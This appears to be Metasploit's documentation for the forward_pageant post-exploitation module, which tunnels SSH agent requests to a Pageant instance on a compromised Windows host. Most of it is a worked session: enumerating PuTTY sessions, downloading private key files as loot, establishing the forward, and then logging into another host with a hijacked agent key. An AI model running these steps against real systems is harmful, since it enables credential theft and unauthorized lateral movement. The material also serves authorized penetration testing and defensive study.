4.9 KiB
Vulnerable Application
This module forwards SSH agent requests from a local socket to a remote Pageant instance. If a target Windows machine is compromised and is running Pageant, this will allow the attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are tunneled through the meterpreter session. This could therefore be used to authenticate with a remote host using a private key which is loaded into a remote user's Pageant instance, without ever having knowledge of the private key itself.
Note that this requires the PageantJacker meterpreter extension, but this will be automatically loaded into the remote meterpreter session by this module if it is not already loaded.
Verification Steps
- Start msfconsole
- Get a Meterpreter session
- Do:
use post/windows/manage/forward_pageant - Do:
set SESSION <session id> - Do:
run
Options
SocketPath
Specify a filename for the local UNIX socket. (default path is random)
Scenarios
Pageant 0.77.0.0 on Windows 7 SP1 (x64)
Use windows/gather/enum_putty_saved_sessions to detect Pageant and known hosts:
msf6 > use post/windows/gather/enum_putty_saved_sessions
msf6 post(windows/gather/enum_putty_saved_sessions) > set session 1
session => 1
msf6 post(windows/gather/enum_putty_saved_sessions) > run
[*] Looking for saved PuTTY sessions
[*] Found 3 sessions
PuTTY Saved Sessions
====================
Name HostName UserName PublicKeyFile PortNumber PortForwardings ProxyUsername ProxyPassword
---- -------- -------- ------------- ---------- --------------- ------------- -------------
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk 22
example.com example.com C:\Users\user\Desktop\serial1.ppk 22
serial1 C:\Users\user\Desktop\serial1.ppk 0
[+] PuTTY saved sessions list saved to /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.sessions.c_273976.txt in CSV format & available in notes (use 'notes -t putty.savedsession' to view).
[*] Downloading private keys...
[+] PuTTY private key file for '192.168.200.158' (C:\Users\user\Desktop\ubuntu22.ppk) saved to: /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.ppk.file_988729.bin
[+] PuTTY private key file for 'example.com' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_341943.bin
[+] PuTTY private key file for 'serial1' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_265111.bin
PuTTY Private Keys
==================
Name HostName UserName PublicKeyFile Type Cipher Comment
---- -------- -------- ------------- ---- ------ -------
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk
example.com example.com C:\Users\user\Desktop\serial1.ppk
serial1 C:\Users\user\Desktop\serial1.ppk
[*] Looking for previously stored SSH host key fingerprints
[*] Found 1 stored key fingerprint
[*] Downloading stored key fingerprints...
Stored SSH host key fingerprints
================================
SSH Endpoint Key Type(s)
------------ -----------
192.168.200.158:22 ssh-ed25519
[+] PuTTY stored host keys list saved to /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.storedfing_027625.txt in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).
[*] Looking for Pageant...
[+] Pageant is running (Handle 0x330820)
[*] Post module execution completed
Establish a local forward with post/windows/manage/forward_pageant:
msf6 > use post/windows/manage/forward_pageant
msf6 post(windows/manage/forward_pageant) > set session 1
session => 1
msf6 post(windows/manage/forward_pageant) > run
[*] Launched listening socket on /tmp/bVN4Dg2W
[*] Set SSH_AUTH_SOCK variable to /tmp/bVN4Dg2W (e.g. export SSH_AUTH_SOCK="/tmp/bVN4Dg2W")
[*] Now use any SSH tool normally (e.g. ssh-add)
Specify the SSH_AUTH_SOCK UNIX socket path when using ssh tools:
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh-add -l
3072 SHA256:/M07p51CmCSMrV1lbFs19OMvyRw6g9Wxbq8bW5px0KA asdf@ubuntu-22-04-amd64 (RSA)
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh asdf@192.168.200.158
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-25-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
209 updates can be applied immediately.
29 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
*** System restart required ***
Last login: Sun Aug 7 22:19:04 2022 from 192.168.200.130
asdf@ubuntu-22-04-amd64:~$